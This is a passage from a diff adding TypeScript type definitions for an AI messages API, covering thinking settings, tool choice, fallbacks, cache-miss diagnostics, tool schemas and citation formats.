binding: what happens when a thinking block this request sends back fails the conversation check. `null`, absent or an empty object means every default. + */ + block_binding?: BetaThinkingBlockBinding | null + /** + * @description Controls how thinking content appears in the response. When set to `summarized`, thinking is returned normally. When set to `omitted`, thinking content is redacted but a signature is returned for multi-turn continuity. The default depends on the model; see [Controlling thinking display](https://platform.claude.com/docs/en/build-with-claude/thinking#controlling-thinking-display). + */ + display?: BetaThinkingDisplayModeKey | null + type: 'adaptive' +} + +export type BetaThinkingConfigBetweenTools = { + type: 'between_tools' +} + +export type BetaThinkingConfigDisabled = { + type: 'disabled' +} + +export type BetaThinkingConfigEnabled = { + /** + * @description Controls for block binding: what happens when a thinking block this request sends back fails the conversation check. `null`, absent or an empty object means every default. + */ + block_binding?: BetaThinkingBlockBinding | null + /** + * @description Determines how many tokens Claude can use for its internal reasoning process. Larger budgets can enable more thorough analysis for complex problems, improving response quality. + * + * Must be ≥1024 and less than `max_tokens`. + * + * See [extended thinking](https://platform.claude.com/docs/en/build-with-claude/extended-thinking) for details. + * @minimum 1024 + * @type integer + */ + budget_tokens: number + /** + * @description Controls how thinking content appears in the response. When set to `summarized`, thinking is returned normally. When set to `omitted`, thinking content is redacted but a signature is returned for multi-turn continuity. The default depends on the model; see [Controlling thinking display](https://platform.claude.com/docs/en/build-with-claude/thinking#controlling-thinking-display). + */ + display?: BetaThinkingDisplayModeKey | null + type: 'enabled' +} + +/** + * @description Configuration for Claude's thinking. + * + * With `{"type": "adaptive"}`, Claude decides when and how much to think. With `{"type": "enabled"}` (manual extended thinking), you set a `budget_tokens` of at least 1,024. Thinking tokens count toward your `max_tokens` limit. + * + * Which `type` values are accepted, and what happens when you omit `thinking`, depend on the model. See [thinking](https://platform.claude.com/docs/en/build-with-claude/thinking#configuring-thinking) for each model's behavior. + * @example {"type":"adaptive"} + */ +export type BetaThinkingConfigParam = + | (BetaThinkingConfigEnabled & { + type: 'enabled' + }) + | (BetaThinkingConfigDisabled & { + type: 'disabled' + }) + | (BetaThinkingConfigBetweenTools & { + type: 'between_tools' + }) + | (BetaThinkingConfigAdaptive & { + type: 'adaptive' + }) + +/** + * @description The model will automatically decide whether to use tools. + * @type object + */ +export type BetaToolChoiceAuto = { + /** + * @description Whether to disable parallel tool use. + * + * Defaults to `false`. If set to `true`, the model will output at most one tool use. + * @type boolean | undefined + */ + disable_parallel_tool_use?: boolean + type: 'auto' +} + +/** + * @description The model will use any available tools. + * @type object + */ +export type BetaToolChoiceAny = { + /** + * @description Whether to disable parallel tool use. + * + * Defaults to `false`. If set to `true`, the model will output exactly one tool use. + * @type boolean | undefined + */ + disable_parallel_tool_use?: boolean + type: 'any' +} + +/** + * @description The model will use the specified tool with `tool_choice.name`. + * @type object + */ +export type BetaToolChoiceTool = { + /** + * @description Whether to disable parallel tool use. + * + * Defaults to `false`. If set to `true`, the model will output exactly one tool use. + * @type boolean | undefined + */ + disable_parallel_tool_use?: boolean + /** + * @description The name of the tool to use. + * @type string + */ + name: string + type: 'tool' +} + +/** + * @description The model will not be allowed to use tools. + * @type object + */ +export type BetaToolChoiceNone = { + type: 'none' +} + +/** + * @description How the model should use the provided tools. The model can use a specific tool, any available tool, decide by itself, or not use tools at all. + */ +export type BetaToolChoice = + | (BetaToolChoiceAuto & { + type: 'auto' + }) + | (BetaToolChoiceAny & { + type: 'any' + }) + | (BetaToolChoiceTool & { + type: 'tool' + }) + | (BetaToolChoiceNone & { + type: 'none' + }) + +export type BetaContextManagementResponse = { + /** + * @description The original token count before context management was applied + * @type integer + */ + original_input_tokens: number +} + +export const betaSkillParamsTypeEnum = { + anthropic: 'anthropic', + custom: 'custom', +} as const + +export type BetaSkillParamsTypeEnumKey = + (typeof betaSkillParamsTypeEnum)[keyof typeof betaSkillParamsTypeEnum] + +/** + * @description Specification for a skill to be loaded in a container. + * @type object + */ +export type BetaSkillParams = { + /** + * @description Skill ID + * @minLength 1 + * @maxLength 64 + * @example pdf + * @type string + */ + skill_id: string + /** + * @description Type of skill - either 'anthropic' (built-in) or 'custom' (user-defined) + * @example anthropic + * @type string + */ + type: BetaSkillParamsTypeEnumKey + /** + * @description Skill version or 'latest' for most recent version + * @minLength 1 + * @maxLength 64 + * @example latest + * @type string | undefined + */ + version?: string +} + +/** + * @description Container parameters with skills to be loaded. + * @type object + */ +export type BetaContainerParams = { + /** + * @description Container id + */ + id?: string | null + /** + * @description List of skills to load in the container + */ + skills?: BetaSkillParams[] | null +} + +/** + * @description Request-level diagnostics. Currently carries the previous response + * id for prompt-cache divergence reporting. + * @type object + */ +export type BetaDiagnosticsParam = { + /** + * @description The `id` (`msg_...`) from this client's previous /v1/messages response. The server compares that request's prompt fingerprint against this one and returns `diagnostics.cache_miss_reason` when the prompt-cache prefix could not be reused. Pass `null` on the first turn to opt in without a prior message to compare. + */ + previous_message_id?: string | null +} + +/** + * @description One entry in the `fallbacks` chain on a `/v1/messages` request. + * + * `model` is required. The override fields (`max_tokens`, `thinking`, + * `output_config`, and `speed`) set the corresponding parameter for this + * attempt only and are validated as if the request were made to `model`. + * Any other key is rejected at parse time. + * @type object + */ +export type BetaFallbackConfigV2 = { + /** + * @description The `max_tokens` for the fallback attempt that uses this `fallbacks` entry's `model`, in place of the request's `max_tokens`. If you leave it out or set it to `null`, the attempt uses the request's `max_tokens`. + * + * See the [refusals and fallback guide](https://platform.claude.com/docs/en/build-with-claude/refusals-and-fallback#naming-your-own-fallback-models) to learn more about fallback entries. + */ + max_tokens?: number | null + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description Output parameters for the fallback attempt that uses this `fallbacks` entry's `model`, combined with the request's `output_config` one field at a time. + * + * - `format`: If you leave it out, the attempt uses the request's `format`. If you set it to `null`, the attempt runs without a format. + * - `effort`: If you leave it out, the attempt uses the request's `effort` when `model` supports that level with the attempt's `thinking`. If the request doesn't set `effort`, if `model` doesn't support the level, or if you set `effort` to `null`, the attempt runs at the default effort of `model`. + * - `task_budget`: If you leave it out, the attempt uses the request's `task_budget` when `model` accepts a task budget of that size. If the request doesn't set `task_budget`, if `model` doesn't accept it, or if you set `task_budget` to `null`, the attempt runs without a task budget. + * + * Set `output_config` to `null` to run the attempt without a format or a task budget, at the default effort of `model`. + * + * These rules apply with the `server-side-fallback-2026-07-01` beta header. + */ + output_config?: BetaOutputConfig | null + /** + * @description The inference speed mode for the fallback attempt that uses this `fallbacks` entry's `model`. If you leave it out, the attempt runs at `fast` speed only when the request sets `speed` to `fast` and your organization can use fast mode on `model`. + * + * Otherwise, or when you set this field to `null`, the attempt runs at `standard` speed. + * + * These rules apply with the `server-side-fallback-2026-07-01` beta header. + */ + speed?: BetaSpeedKey | null + /** + * @description The thinking configuration for the fallback attempt that uses this `fallbacks` entry's `model`. If you leave it out, the attempt uses the request's `thinking` when `model` supports that thinking `type`. + * + * If you leave it out and the request's thinking `type` is `between_tools` but `model` doesn't support `between_tools`, the attempt uses `disabled` if `model` supports it. Otherwise, if `model` doesn't support the request's thinking `type`, if the request doesn't set `thinking`, or if you set this field to `null`, the attempt uses the thinking `type` that `model` uses when a request leaves out `thinking`. The request's `thinking.display` still applies where `model` allows it. + * + * These rules apply with the `server-side-fallback-2026-07-01` beta header. + */ + thinking?: + | ( + | (BetaThinkingConfigEnabled & { + type: 'enabled' + }) + | (BetaThinkingConfigDisabled & { + type: 'disabled' + }) + | (BetaThinkingConfigBetweenTools & { + type: 'between_tools' + }) + | (BetaThinkingConfigAdaptive & { + type: 'adaptive' + }) + ) + | null + [key: string]: unknown +} + +export const betaFallbackCreditTokenParamModeEnum = { + strict: 'strict', + best_effort: 'best_effort', +} as const + +export type BetaFallbackCreditTokenParamModeEnumKey = + (typeof betaFallbackCreditTokenParamModeEnum)[keyof typeof betaFallbackCreditTokenParamModeEnum] + +/** + * @description Object form of ``fallback_credit_token``: the token plus a redemption + * mode. + * + * Requires ``anthropic-beta: fallback-credit-2026-07-01``; without that + * header the field accepts the bare string only. The bare string and the + * mode-less object are equivalent (both select ``strict``), so wrapping + * an existing token changes nothing by itself. + * @type object + */ +export type BetaFallbackCreditTokenParam = { + /** + * @description How a failing token affects the retry. `strict` (the default, and the bare-string behavior): a failing redemption is a 400 and the retry is not served. `best_effort`: the retry is served either way — a token-layer failure no longer rejects the request; the retry proceeds at normal price and the outcome is reported on the response's `usage.fallback_credit`. Two failures stay hard in both modes: a malformed token, and combining `fallback_credit_token` with `fallbacks`. + * @type string | undefined + */ + mode?: BetaFallbackCreditTokenParamModeEnumKey + /** + * @description The opaque `fallback_credit_token` from a prior refusal's `stop_details` — the same string the bare-string form carries. + * @minLength 1 + * @maxLength 2048 + * @type string + */ + token: string +} + +export type BetaMetadata = { + /** + * @description An external identifier for the user who is associated with the request. + * + * This should be a uuid, hash value, or other opaque identifier. Anthropic may use this id to help detect abuse. Do not include any identifying information such as name, email address, or phone number. + * @example 13803d75-b4b5-4c3e-b2a2-6f21399b021b + */ + user_id?: string | null +} + +/** + * @description Resume from the response named by ``previous_message_id``. + * @type object + */ +export type BetaThreadContinueParams = { + /** + * @description The `id` of the previous response in this Thread. + * @type string + */ + previous_message_id: string + type: 'continue' +} + +/** + * @description Start holding conversation state under this response's ``id``. + * @type object + */ +export type BetaThreadCreateParams = { + type: 'create' +} + +export type BetaCacheCreation = { + /** + * @description The number of input tokens used to create the 1 hour cache entry. + * @minimum 0 + * @default 0 + * @type integer + */ + ephemeral_1h_input_tokens: number + /** + * @description The number of input tokens used to create the 5 minute cache entry. + * @minimum 0 + * @default 0 + * @type integer + */ + ephemeral_5m_input_tokens: number +} + +/** + * @description Token usage for an advisor sub-inference iteration. + * @type object + */ +export type BetaAdvisorMessageIterationUsage = { + /** + * @description Breakdown of cached tokens by TTL + * @default null + */ + cache_creation: BetaCacheCreation | null + /** + * @description The number of input tokens used to create the cache entry. + * @minimum 0 + * @default 0 + * @type integer + */ + cache_creation_input_tokens: number + /** + * @description The number of input tokens read from the cache. + * @minimum 0 + * @default 0 + * @type integer + */ + cache_read_input_tokens: number + /** + * @description The number of input tokens which were used. + * @minimum 0 + * @type integer + */ + input_tokens: number + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description The number of output tokens which were used. + * @minimum 0 + * @type integer + */ + output_tokens: number + /** + * @description Usage for an advisor sub-inference iteration + * @default 'advisor_message' + * @type string + */ + type: 'advisor_message' +} + +export const betaCacheControlEphemeralE964Bdd8TtlEnum = { + '5m': '5m', + '1h': '1h', +} as const + +export type BetaCacheControlEphemeralE964Bdd8TtlEnumKey = + (typeof betaCacheControlEphemeralE964Bdd8TtlEnum)[keyof typeof betaCacheControlEphemeralE964Bdd8TtlEnum] + +export type BetaCacheControlEphemeralE964Bdd8 = { + /** + * @description The time-to-live for the cache control breakpoint. + * + * This may be one the following values: + * - `5m`: 5 minutes + * - `1h`: 1 hour + * + * Defaults to `5m`. See [prompt caching pricing](https://platform.claude.com/docs/en/build-with-claude/prompt-caching) for details. + * @type string | undefined + */ + ttl?: BetaCacheControlEphemeralE964Bdd8TtlEnumKey + type: 'ephemeral' +} + +export type BetaAdvisorTool202603017Db494Ff = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description Caching for the advisor's own prompt. When set, each advisor call writes a cache entry at the given TTL so subsequent calls in the same conversation read the stable prefix. When omitted, the advisor prompt is not cached. + */ + caching?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Bounds the advisor's total output (thinking + text) per call. When the advisor hits this cap, the returned advisor_result or advisor_redacted_result block carries stop_reason='max_tokens', and a truncation note is appended to the advice text the worker model sees (inside the encrypted blob in redacted mode). When set, the API also passes the advisor its remaining-token budget, so the advisor shapes its output toward the cap. When omitted, the advisor model's default output cap applies and the API doesn't pass a budget. + */ + max_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'advisor' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'advisor_20260301' +} + +export type BetaBashTool202410226A82561A = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'bash' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'bash_20241022' +} + +export type BetaBashTool202501240A3F30A9 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'bash' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'bash_20250124' +} + +/** + * @description The browser toolset: a single ``tools[]`` entry (carrying no + * ``name``) that declares the browser tool family. The model is served + * the family's tool with any members disabled via ``configs`` removed + * from its schema. + * @type object + */ +export type BetaBrowserToolset20260801D53Ee254 = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description Sparse per-member overrides, keyed by member name. Absent, null, and {} are equivalent; a member's defaults apply wherever its key is absent. + */ + configs?: BetaBrowserToolsetConfigs | null + type: 'browser_toolset_20260801' +} + +/** + * @description A `cache_miss_reason` for a request whose `messages` differ from the previous request's in an earlier entry, instead of only having entries appended. The `model`, `system`, and `tools` match. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type BetaCacheMissMessagesChanged = { + /** + * @description Approximate number of input tokens that would have been read from cache had the prefix matched the previous request. + * @type integer + */ + cache_missed_input_tokens: number + /** + * @default 'messages_changed' + * @type string + */ + type: 'messages_changed' +} + +/** + * @description A `cache_miss_reason` for a request whose `model` or `speed` differs from the previous request's. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type BetaCacheMissModelChanged = { + /** + * @description Approximate number of input tokens that would have been read from cache had the prefix matched the previous request. + * @type integer + */ + cache_missed_input_tokens: number + /** + * @default 'model_changed' + * @type string + */ + type: 'model_changed' +} + +/** + * @description A `cache_miss_reason` for when the API doesn't have a stored record of the request that `diagnostics.previous_message_id` references. + * + * This doesn't mean that this request changed. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type BetaCacheMissPreviousMessageNotFound = { + /** + * @default 'previous_message_not_found' + * @type string + */ + type: 'previous_message_not_found' +} + +/** + * @description A `cache_miss_reason` for a request whose `system` differs from the previous request's. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type BetaCacheMissSystemChanged = { + /** + * @description Approximate number of input tokens that would have been read from cache had the prefix matched the previous request. + * @type integer + */ + cache_missed_input_tokens: number + /** + * @default 'system_changed' + * @type string + */ + type: 'system_changed' +} + +/** + * @description A `cache_miss_reason` for a request whose `tools` differ from the previous request's, for example because tools were added, removed, or reordered. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type BetaCacheMissToolsChanged = { + /** + * @description Approximate number of input tokens that would have been read from cache had the prefix matched the previous request. + * @type integer + */ + cache_missed_input_tokens: number + /** + * @default 'tools_changed' + * @type string + */ + type: 'tools_changed' +} + +/** + * @description A `cache_miss_reason` for when the API can't give a diagnosis. The request itself was processed normally. + * + * This includes a request whose `model`, `system`, and `tools` match the previous request's but whose other prompt-affecting parameters, such as `thinking` or `tool_choice`, differ. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type BetaCacheMissUnavailable = { + /** + * @default 'unavailable' + * @type string + */ + type: 'unavailable' +} + +export type BetaCacheMissReason = + | (BetaCacheMissModelChanged & { + type: 'model_changed' + }) + | (BetaCacheMissSystemChanged & { + type: 'system_changed' + }) + | (BetaCacheMissToolsChanged & { + type: 'tools_changed' + }) + | (BetaCacheMissMessagesChanged & { + type: 'messages_changed' + }) + | (BetaCacheMissPreviousMessageNotFound & { + type: 'previous_message_not_found' + }) + | (BetaCacheMissUnavailable & { + type: 'unavailable' + }) + +export type BetaCodeExecutionTool20250522A978Dea8 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20250522' +} + +export type BetaCodeExecutionTool2025082539B385D6 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20250825' +} + +/** + * @description A `tools` entry for the code execution tool, version `code_execution_20260120`. It adds REPL state persistence to version `code_execution_20250825`. + * + * REPL state persistence applies with programmatic tool calling. With it, the Python interpreter state, such as variable bindings, persists across requests that reuse the container. + * + * See the [code execution tool guide](https://platform.claude.com/docs/en/agents-and-tools/tool-use/code-execution-tool#tool-versions) to learn what each tool version adds. + * @type object + */ +export type BetaCodeExecutionTool202601202B97F577 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20260120' +} + +/** + * @description Code execution tool with REPL state persistence. + * @type object + */ +export type BetaCodeExecutionTool20260521Addcb1Ec = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'code_execution' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'code_execution_20260521' +} + +/** + * @description Token usage for a compaction iteration. + * @type object + */ +export type BetaCompactionIterationUsage = { + /** + * @description Breakdown of cached tokens by TTL + * @default null + */ + cache_creation: BetaCacheCreation | null + /** + * @description The number of input tokens used to create the cache entry. + * @minimum 0 + * @default 0 + * @type integer + */ + cache_creation_input_tokens: number + /** + * @description The number of input tokens read from the cache. + * @minimum 0 + * @default 0 + * @type integer + */ + cache_read_input_tokens: number + /** + * @description The number of input tokens which were used. + * @minimum 0 + * @type integer + */ + input_tokens: number + /** + * @description The number of output tokens which were used. + * @minimum 0 + * @type integer + */ + output_tokens: number + /** + * @description Usage for a compaction iteration + * @default 'compaction' + * @type string + */ + type: 'compaction' +} + +/** + * @description The computer toolset: a single ``tools[]`` entry (carrying no + * ``name``) that declares the computer tool family. The model is + * served the family's tool with any members disabled via ``configs`` + * removed from its schema. Every member is enabled by default, zoom + * included. The single-tool options ``display_number`` and + * ``enable_zoom`` are not fields of a toolset entry — it carries only + * ``type``, ``configs``, and ``cache_control``; zoom is controlled + * via ``configs.zoom.enabled``. + * @type object + */ +export type BetaComputerToolset20260801Ccd80937 = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description Sparse per-member overrides, keyed by member name. Absent, null, and {} are equivalent; a member's defaults apply wherever its key is absent. + */ + configs?: BetaComputerToolsetConfigs | null + type: 'computer_toolset_20260801' +} + +export type BetaComputerUseTool20241022F5D98C22 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description The height of the display in pixels. + * @minimum 1 + * @type integer + */ + display_height_px: number + /** + * @description The X11 display number (e.g. 0, 1) for the display. + */ + display_number?: number | null + /** + * @description The width of the display in pixels. + * @minimum 1 + * @type integer + */ + display_width_px: number + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'computer' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'computer_20241022' +} + +export type BetaComputerUseTool20250124511F8B11 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description The height of the display in pixels. + * @minimum 1 + * @type integer + */ + display_height_px: number + /** + * @description The X11 display number (e.g. 0, 1) for the display. + */ + display_number?: number | null + /** + * @description The width of the display in pixels. + * @minimum 1 + * @type integer + */ + display_width_px: number + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'computer' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'computer_20250124' +} + +export type BetaComputerUseTool2025112487E41908 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeralE964Bdd8 & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description The height of the display in pixels. + * @minimum 1 + * @type integer + */ + display_height_px: number + /** + * @description The X11 display number (e.g. 0, 1) for the display. + */ + display_number?: number | null + /** + * @description The width of the display in pixels. + * @minimum 1 + * @type integer + */ + display_width_px: number + /** + * @description Whether to enable an action to take a zoomed-in screenshot of the screen. + * @type boolean | undefined + */ + enable_zoom?: boolean + input_examples?: { + [key: string]: BetaJsonValue + }[] + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'computer' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'computer_20251124' +} + +export const betaContainerSkillTypeEnum = { + anthropic: 'anthropic', + custom: 'custom', +} as const + +export type BetaContainerSkillTypeEnumKey = + (typeof betaContainerSkillTypeEnum)[keyof typeof betaContainerSkillTypeEnum] + +/** + * @description A skill that was loaded in a container (response model). + * @type object + */ +export type BetaContainerSkill = { + /** + * @description Skill ID + * @minLength 1 + * @maxLength 64 + * @example pdf + * @type string + */ + skill_id: string + /** + * @description Type of skill - either 'anthropic' (built-in) or 'custom' (user-defined) + * @example anthropic + * @type string + */ + type: BetaContainerSkillTypeEnumKey + /** + * @description The resolved version: a skill version ID for custom skills. + * @minLength 1 + * @maxLength 64 + * @example latest + * @type string + */ + version: string +} + +/** + * @description Information about the container used in the request (for the code execution tool) + * @type object + */ +export type BetaContainer = { + /** + * @description The time at which the container will expire. + * + * Format: `date-time` + * @type string + */ + expires_at: string + /** + * @description Identifier for the container used in this request + * @example container_011CpZohnwH4vuy7gazohgSP + * @type string + */ + id: string + /** + * @description Skills loaded in the container + * @default null + */ + skills: BetaContainerSkill[] | null +} + +export type BetaResponseCharLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + /** + * @example My Document + */ + document_title: string | null + end_char_index: number + /** + * @default null + * @example file_011CNha8iCJcU1wXNR6q4V8w + */ + file_id: string | null + /** + * @minimum 0 + * @type integer + */ + start_char_index: number + /** + * @default 'char_location' + * @type string + */ + type: 'char_location' +} + +export type BetaResponsePageLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + /** + * @example My Document + */ + document_title: string | null + end_page_number: number + /** + * @default null + * @example file_011CNha8iCJcU1wXNR6q4V8w + */ + file_id: string | null + /** + * @minimum 1 + * @type integer + */ + start_page_number: number + /** + * @default 'page_location' + * @type string + */ + type: 'page_location' +} + +export type BetaResponseContentBlockLocationCitation = { + /** + * @description The full text of the cited block range, concatenated. + * + * Always equals the contents of `content[start_block_index:end_block_index]` joined together. The text block is the minimal citable unit; this field is never a substring of a single block. Not counted toward output tokens, and not counted toward input tokens when sent back in subsequent turns. + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + /** + * @example My Document + */ + document_title: string | null + /** + * @description Exclusive 0-based end index of the cited block range in the source's `content` array. + * + * Always greater than `start_block_index`; a single-block citation has `end_block_index = start_block_index + 1`. + * @type integer + */ + end_block_index: number + /** + * @default null + * @example file_011CNha8iCJcU1wXNR6q4V8w + */ + file_id: string | null + /** + * @description 0-based index of the first cited block in the source's `content` array. + * @minimum 0 + * @type integer + */ + start_block_index: number + /** + * @default 'content_block_location' + * @type string + */ + type: 'content_block_location' +} + +export type BetaResponseWebSearchResultLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + encrypted_index: string + title: string | null + /** + * @default 'web_search_result_location' + * @type string + */ + type: 'web_search_result_location' + url: string +} + +export type BetaResponseSearchResultLocationCitation = { + /** + * @description The full text of the cited block range, concatenated. + * + * Always equals the contents of `content[start_block_index:end_block_index]` joined together. The text block is the minimal citable unit; this field is never a substring of a single block. Not counted toward output tokens, and not counted toward input tokens when sent back in subsequent turns. + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @description Exclusive 0-based end index of the cited block range in the source's `content` array. + * + * Always greater than `start_block_index`; a single-block citation has `end_block_index = start_block_index + 1`. + * @type integer + */ + end_block_index: number + /** + * @description 0-based index of the cited search result among all `search_result` content blocks in the request, in the order they appear across messages and tool results. + * + * Counted separately from `document_index`; server-side web search results are not included in this count. + * @minimum 0 + * @type integer + */ + search_result_index: number + source: string + /** + * @description 0-based index of the first cited block in the source's `content` array. + * @minimum 0 + * @type integer + */ + start_block_index: number + title: string | null + /** + * @default 'search_result_location' + * @type string + */ + type: 'search_result_location' +} + +export type BetaResponseTextBlock = { + /** + * @description Citations supporting the text block. + * + * The type of citation returned will depend on the type of document being cited. Citing a PDF results in `page_location`, plain text results in `char_location`, and content document results in `content_block_location`. + * @default null + */ + citations: + | ( + | (BetaResponseCharLocationCitation & { + type: 'char_location' + }) + | (BetaResponsePageLocationCitation & { + type: 'page_location' + }) + | (BetaResponseContentBlockLocationCitation & { + type: 'content_block_location' + }) + | (BetaResponseWebSearchResultLocationCitation & { + type: 'web_search_result_location' + }) + | (BetaResponseSearchResultLocationCitation & { + type: 'search_result_location' + }) + )[] + | null + /** + * @minLength 0 + * @type string + */ + text: string + /** + * @default 'text' + * @type string + */ + type: 